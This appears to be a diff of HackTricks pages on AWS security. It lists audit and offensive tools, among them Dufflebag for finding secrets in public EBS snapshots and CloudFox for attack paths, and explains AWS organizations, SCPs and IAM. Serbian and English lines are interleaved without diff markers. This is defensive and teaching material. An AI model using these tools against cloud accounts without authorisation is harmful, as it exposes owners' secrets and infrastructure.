- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
### Audit
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit od Aqua je projekat otvorenog koda dizajniran da omogući otkrivanje **bezbednosnih rizika u cloud infrastrukturi** naloga, uključujući: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) i GitHub (ne traži ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler je alat otvorenog koda za procenu najboljih praksi bezbednosti AWS-a, revizije, odgovor na incidente, kontinuirano praćenje, učvršćivanje i spremnost za forenziku.
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
```bash
# Install python3, jq and git
# Install
@@ -314,11 +331,15 @@ prowler -v
prowler <provider>
prowler aws --profile custom-profile [-M csv json json-asff html]
```
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vam pomaže da steknete situacionu svest u nepoznatim cloud okruženjima. To je alat otvorenog koda za komandnu liniju kreiran da pomogne pentesterima i drugim profesionalcima u ofanzivnoj bezbednosti da pronađu iskoristive napadne puteve u cloud infrastrukturi.
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. Its an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
```bash
cloudfox aws --profile [profile-name] all-checks
```
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite je alat za bezbednosnu reviziju otvorenog koda za više oblaka, koji omogućava procenu bezbednosnog stanja oblaka.
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
```bash
# Install
virtualenv -p python3 venv
@@ -329,16 +350,18 @@ scout --help
# Get info
scout aws -p dev
```
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (koristi python2.7 i izgleda neodržavano)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus je moćan alat za AWS EC2 / S3 / CloudTrail / CloudWatch / KMS najbolje prakse učvršćivanja (izgleda neodržavano). Proverava samo podrazumevane konfiguracije kredencijala unutar sistema.
### Kontinuirana Revizija
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian je motor pravila za upravljanje javnim cloud računima i resursima. Omogućava korisnicima da **definišu politike za omogućavanje dobro upravljane cloud infrastrukture**, koja je i sigurna i optimizovana za troškove. Konsoliduje mnoge ad-hoc skripte koje organizacije imaju u lagan i fleksibilan alat, sa jedinstvenim metrikama i izveštavanjem.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** je platforma za **kontinuirano praćenje usklađenosti, izveštavanje o usklađenosti i automatizaciju bezbednosti za cloud**. U PacBot-u, bezbednosne i usklađene politike se implementiraju kao kod. Svi resursi koje otkrije PacBot se ocenjuju prema ovim politikama kako bi se procenila usklađenost sa politikama. PacBot **auto-fix** okvir pruža mogućnost automatskog odgovora na kršenja politika preduzimanjem unapred definisanih akcija.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert je serverless, **real-time** okvir za analizu podataka koji vam omogućava da **prikupljate, analizirate i obaveštavate** o podacima iz bilo kog okruženja, **koristeći izvore podataka i logiku obaveštavanja koju definišete**. Timovi za računarstvo bezbednosti koriste StreamAlert da skeniraju terabajte log podataka svakog dana za detekciju incidenata i odgovor.
### Constant Audit
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
## DEBUG: Capture AWS cli requests
## DEBUG: Zabeleži AWS cli zahteve
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -357,9 +380,14 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
## Reference
## References
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,341 +1,351 @@
# AWS - Osnovne informacije
# AWS - Basic Information
{{#include ../../../banners/hacktricks-training.md}}
## Hijerarhija organizacije
## Organization Hierarchy
![](<../../../images/image (151).png>)
### Računi
### Accounts
U AWS-u postoji **root račun**, koji je **glavni kontejner za sve račune** vaše **organizacije**. Međutim, ne morate koristiti taj račun za implementaciju resursa, možete kreirati **druge račune kako biste odvojili različite AWS** infrastrukture između njih.
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
To je veoma zanimljivo sa **bezbednosnog** stanovišta, jer **jedan račun neće moći da pristupi resursima drugog računa** (osim ako su mostovi posebno kreirani), tako da na ovaj način možete stvoriti granice između implementacija.
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
Stoga, postoje **dva tipa računa u organizaciji** (govorimo o AWS računima, a ne o korisničkim računima): jedan račun koji je označen kao račun za upravljanje, i jedan ili više članova računa.
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
- **Račun za upravljanje (root račun)** je račun koji koristite za kreiranje organizacije. Iz računa za upravljanje organizacijom, možete uraditi sledeće:
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
- Kreirati račune u organizaciji
- Pozvati druge postojeće račune u organizaciju
- Ukloniti račune iz organizacije
- Upravljati pozivnicama
- Primeni politike na entitete (root, OU ili račune) unutar organizacije
- Omogućiti integraciju sa podržanim AWS uslugama kako bi se obezbedila funkcionalnost usluga širom svih računa u organizaciji.
- Moguće je prijaviti se kao root korisnik koristeći email i lozinku korišćene za kreiranje ovog root računa/organizacije.
- Create accounts in the organization
- Invite other existing accounts to the organization
- Remove accounts from the organization
- Manage invitations
- Apply policies to entities (roots, OUs, or accounts) within the organization
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- It's possible to login as the root user using the email and password used to create this root account/organization.
Račun za upravljanje ima **odgovornosti računa za plaćanje** i odgovoran je za plaćanje svih troškova koje generišu članovi računi. Ne možete promeniti račun za upravljanje organizacijom.
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
- **Članovi računi** čine sve ostale račune u organizaciji. Račun može biti član samo jedne organizacije u isto vreme. Možete prikačiti politiku na račun kako biste primenili kontrole samo na taj jedan račun.
- Članovi računi **moraju koristiti važeću email adresu** i mogu imati **ime**, generalno neće moći da upravljaju naplatom (ali im može biti dat pristup tome).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **Organizacione jedinice**
Nalozi se mogu grupisati u **Organizacione jedinice (OU)**. Na ovaj način, možete kreirati **politike** za Organizacionu jedinicu koje će biti **primenjene na sve naloge dece**. Imajte na umu da OU može imati druge OU kao decu.
### **Organization Units**
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
**Service control policy (SCP)** je politika koja specificira usluge i akcije koje korisnici i uloge mogu koristiti u nalozima na koje SCP utiče. SCP-ovi su **slični IAM** politikama dozvola osim što **ne dodeljuju nikakve dozvole**. Umesto toga, SCP-ovi specificiraju **maksimalne dozvole** za organizaciju, organizacionu jedinicu (OU) ili nalog. Kada prikačite SCP na koren vaše organizacije ili na OU, **SCP ograničava dozvole za entitete u članicama naloga**.
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
Ovo je JEDINI način da se **čak i korisnik sa root privilegijama može sprečiti** da nešto uradi. Na primer, može se koristiti da se spreči korisnike da onemoguće CloudTrail ili obrišu rezervne kopije.\
Jedini način da se zaobiđe ovo je da se kompromituje i **glavni nalog** koji konfiguriše SCP-ove (glavni nalog ne može biti blokiran).
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
> [!WARNING]
> Imajte na umu da **SCP-ovi samo ograničavaju principe u nalogu**, tako da drugi nalozi nisu pogođeni. To znači da imati SCP koji odbija `s3:GetObject` neće sprečiti ljude da **pristupaju javnom S3 bucket-u** u vašem nalogu.
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
SCP primeri:
SCP examples:
- Odbijanje root naloga u potpunosti
- Dozvoliti samo specifične regione
- Dozvoliti samo usluge sa bele liste
- Odbijanje GuardDuty, CloudTrail i S3 Public Block Access od
- Deny the root account entirely
- Only allow specific regions
- Only allow white-listed services
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
biti onemogućeni
being disabled
- Odbijanje uloga za bezbednost/odgovor na incidente od
- Deny security/incident response roles from being deleted or
biti obrisani ili
modified.
modifikovani.
- Deny backups from being deleted.
- Deny creating IAM users and access keys
- Odbijanje rezervnih kopija od biti obrisane.
- Odbijanje kreiranja IAM korisnika i pristupnih ključeva
Pronađite **JSON primere** u [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
### Resource Control Policy (RCP)
**Resource control policy (RCP)** je politika koja define **maksimalne dozvole za resurse unutar vaše AWS organizacije**. RCP-ovi su slični IAM politikama u sintaksi, ali **ne dodeljuju dozvole**—samo ograničavaju dozvole koje se mogu primeniti na resurse od strane drugih politika. Kada prikačite RCP na koren vaše organizacije, organizacionu jedinicu (OU) ili nalog, RCP ograničava dozvole resursa na svim resursima u pogođenom opsegu.
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **dont grant permissions**—they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
Ovo je JEDINI način da se osigura da **resursi ne mogu premašiti unapred definisane nivoe pristupa**—čak i ako je politika zasnovana na identitetu ili resursu previše permisivna. Jedini način da se zaobiđu ova ograničenja je da se takođe modifikuje RCP koji je konfigurisao upravljački nalog vaše organizacije.
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organizations management account.
> [!WARNING]
> RCP-ovi samo ograničavaju dozvole koje resursi mogu imati. Oni ne kontrolišu direktno šta principi mogu raditi. Na primer, ako RCP odbija spoljašnji pristup S3 bucket-u, osigurava da dozvole bucket-a nikada ne dozvole akcije izvan postavljenog limita—čak i ako je politika zasnovana na resursu pogrešno konfigurisana.
> RCPs only restrict the permissions that resources can have. They dont directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the buckets permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
RCP primeri:
RCP examples:
- Ograničiti S3 bucket-e tako da mogu biti pristupani samo od principa unutar vaše organizacije
- Ograničiti korišćenje KMS ključeva da dozvole operacije samo od poverljivih organizacionih naloga
- Ograničiti dozvole na SQS redovima da spreče neovlašćene modifikacije
- Sprovoditi granice pristupa na Secrets Manager tajnama da zaštite osetljive podatke
- Restrict S3 buckets so they can only be accessed by principals within your organization
- Limit KMS key usage to only allow operations from trusted organizational accounts
- Cap permissions on SQS queues to prevent unauthorized modifications
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
Pronađite primere u [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
### ARN
**Amazon Resource Name** je **jedinstveno ime** koje svaki resurs unutar AWS-a ima, sastoji se ovako:
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
Napomena da postoje 4 particije u AWS-u, ali samo 3 načina da ih pozovete:
Note that there are 4 partitions in AWS but only 3 ways to call them:
- AWS Standard: `aws`
- AWS China: `aws-cn`
- AWS US javni Internet (GovCloud): `aws-us-gov`
- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
## IAM - Upravljanje identitetom i pristupom
## IAM - Identity and Access Management
IAM je usluga koja će vam omogućiti da upravljate **autentifikacijom**, **autorizacijom** i **kontrolom pristupa** unutar vašeg AWS naloga.
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
- **Autentifikacija** - Proces definisanja identiteta i verifikacije tog identiteta. Ovaj proces se može podeliti na: Identifikaciju i verifikaciju.
- **Autorizacija** - Određuje šta identitet može da pristupi unutar sistema nakon što je autentifikovan.
- **Kontrola pristupa** - Metod i proces kako se pristup dodeljuje sigurnom resursu.
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
- **Access Control** - The method and process of how access is granted to a secure resource
IAM se može definisati po svojoj sposobnosti da upravlja, kontroliše i reguliše mehanizme autentifikacije, autorizacije i kontrole pristupa identiteta vašim resursima unutar vašeg AWS naloga.
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
Kada prvi put kreirate Amazon Web Services (AWS) nalog, počinjete sa jednim identitetom za prijavu koji ima **potpun pristup svim** AWS uslugama i resursima u nalogu. Ovo je _**root user**_ AWS naloga i pristupa mu se prijavljivanjem sa **email adresom i lozinkom koje ste koristili za kreiranje naloga**.
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
Napomena da novi **admin user** ima **manje dozvole od root user-a**.
Note that a new **admin user** will have **less permissions that the root user**.
Sa bezbednosnog stanovišta, preporučuje se da kreirate druge korisnike i izbegavate korišćenje ovog.
From a security point of view, it's recommended to create other users and avoid using this one.
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
IAM _korisnik_ je entitet koji kreirate u AWS-u da **predstavlja osobu ili aplikaciju** koja ga koristi za **interakciju sa AWS-om**. Korisnik u AWS-u se sastoji od imena i kredencijala (lozinka i do dva pristupna ključa).
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
Kada kreirate IAM korisnika, dodeljujete mu **dozvole** tako što ga činite **članom korisničke grupe** koja ima odgovarajuće politike dozvola (preporučeno), ili **direktno povezivanjem politika** sa korisnikom.
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
Korisnici mogu imati **omogućen MFA za prijavu** putem konzole. API tokeni korisnika sa omogućenim MFA nisu zaštićeni MFA. Ako želite da **ograničite pristup API ključevima korisnika koristeći MFA**, morate naznačiti u politici da je za izvršavanje određenih radnji MFA potrebno (primer [**ovde**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
- **ID pristupnog ključa**: 20 nasumičnih velikih alfanumeričkih karaktera kao što su AKHDNAPO86BSHKDIRYT
- **ID tajnog pristupnog ključa**: 40 nasumičnih velikih i malih karaktera: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nije moguće povratiti izgubljene ID-ove tajnog pristupnog ključa).
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
Kada god trebate da **promenite pristupni ključ**, ovo je proces koji treba da pratite:\
_Kreirajte novi pristupni ključ -> Primijenite novi ključ na sistem/aplikaciju -> označite originalni kao neaktivan -> Testirajte i proverite da li novi pristupni ključ radi -> Obrišite stari pristupni ključ_
Whenever you need to **change the Access Key** this is the process you should follow:\
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
### MFA - Višefaktorska autentifikacija
### MFA - Multi Factor Authentication
Koristi se za **kreiranje dodatnog faktora za autentifikaciju** pored vaših postojećih metoda, kao što je lozinka, čime se stvara višefaktorski nivo autentifikacije.\
Možete koristiti **besplatnu virtuelnu aplikaciju ili fizički uređaj**. Možete koristiti aplikacije poput google authentication besplatno za aktivaciju MFA u AWS-u.
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
Politike sa MFA uslovima mogu se povezati sa sledećim:
Policies with MFA conditions can be attached to the following:
- IAM korisnikom ili grupom
- Resursom kao što je Amazon S3 bucket, Amazon SQS queue ili Amazon SNS topic
- Politika poverenja IAM uloge koja može biti preuzeta od strane korisnika
- An IAM user or group
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
- The trust policy of an IAM role that can be assumed by a user
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
Note that **`AssumeRole` credentials don't contain this information**.
Ako želite da **pristupite putem CLI** resursu koji **proverava MFA**, morate pozvati **`GetSessionToken`**. To će vam dati token sa informacijama o MFA.\
Napomena da **`AssumeRole` kredencijali ne sadrže ove informacije**.
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
Kao [**što je ovde navedeno**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), postoji mnogo različitih slučajeva gde **MFA ne može biti korišćen**.
### [IAM korisničke grupe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
IAM [korisnička grupa](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) je način da se **prikače politike više korisnika** u isto vreme, što može olakšati upravljanje dozvolama za te korisnike. **Uloge i grupe ne mogu biti deo grupe**.
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
Možete prikačiti **politiku zasnovanu na identitetu korisničkoj grupi** tako da svi **korisnici** u korisničkoj grupi **dobiju dozvole politike**. **Ne možete** identifikovati **korisničku grupu** kao **`Principal`** u **politici** (kao što je politika zasnovana na resursima) jer se grupe odnose na dozvole, a ne na autentifikaciju, a principi su autentifikovani IAM entiteti.
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
Evo nekih važnih karakteristika korisničkih grupa:
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
- **Korisnička grupa** može **sadržati mnogo korisnika**, a **korisnik** može **pripadati više grupa**.
- **Korisničke grupe ne mogu biti ugnježdene**; mogu sadržati samo korisnike, ne i druge korisničke grupe.
- **Ne postoji podrazumevana korisnička grupa koja automatski uključuje sve korisnike u AWS nalogu**. Ako želite da imate takvu korisničku grupu, morate je kreirati i dodeliti svakom novom korisniku.
- Broj i veličina IAM resursa u AWS nalogu, kao što su broj grupa i broj grupa kojima korisnik može pripadati, su ograničeni. Za više informacija, pogledajte [IAM i AWS STS kvote](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
Here are some important characteristics of user groups:
### [IAM uloge](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
- **User groups can't be nested**; they can contain only users, not other user groups.
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
IAM **uloga** je veoma **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve akreditive** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a.
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
IAM uloga se sastoji od **dvaju tipova politika**: **politika poverenja**, koja ne može biti prazna, definišući **ko može preuzeti** ulogu, i **politika dozvola**, koja ne može biti prazna, definišući **šta može pristupiti**.
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
#### AWS Security Token Service (STS)
AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privremenih, ograničenih akreditiva**. Posebno je prilagođen za:
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
### [Privremeni akreditivi u IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
**Privremeni akreditivi se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene akreditive koji imaju ograničeniji skup dozvola nego vaš standardni IAM korisnik. Ovo **sprečava** vas da **slučajno izvršavate zadatke koji nisu dozvoljeni** od strane ograničenih akreditiva. Prednost privremenih akreditiva je ta što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su akreditivi validni.
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
### Politike
### Policies
#### Dozvole politike
#### Policy Permissions
Koriste se za dodeljivanje dozvola. Postoje 2 tipa:
Are used to assign permissions. There are 2 types:
- AWS upravljane politike (prekonfigurisane od strane AWS-a)
- Politike koje upravlja korisnik: Konfigurišete ih vi. Možete kreirati politike na osnovu AWS upravljanih politika (modifikujući jednu od njih i kreirajući svoju), koristeći generator politika (GUI prikaz koji vam pomaže u dodeljivanju i odbijanju dozvola) ili pišući svoje.
- AWS managed policies (preconfigured by AWS)
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
Po **podrazumevanju, pristup** je **odbijen**, pristup će biti odobren ako je eksplicitna uloga navedena.\
Ako **jedna "Deny" postoji, ona će nadjačati "Allow"**, osim za zahteve koji koriste korenske bezbednosne akreditive AWS naloga (koji su podrazumevano dozvoljeni).
```javascript
{
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
}
```
Globalna polja koja se mogu koristiti za uslove u bilo kojoj usluzi su dokumentovana ovde.\
Specifična polja koja se mogu koristiti za uslove po usluzi su dokumentovana ovde.
#### Inline Politike
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika jer ih može koristiti bilo ko drugi.\
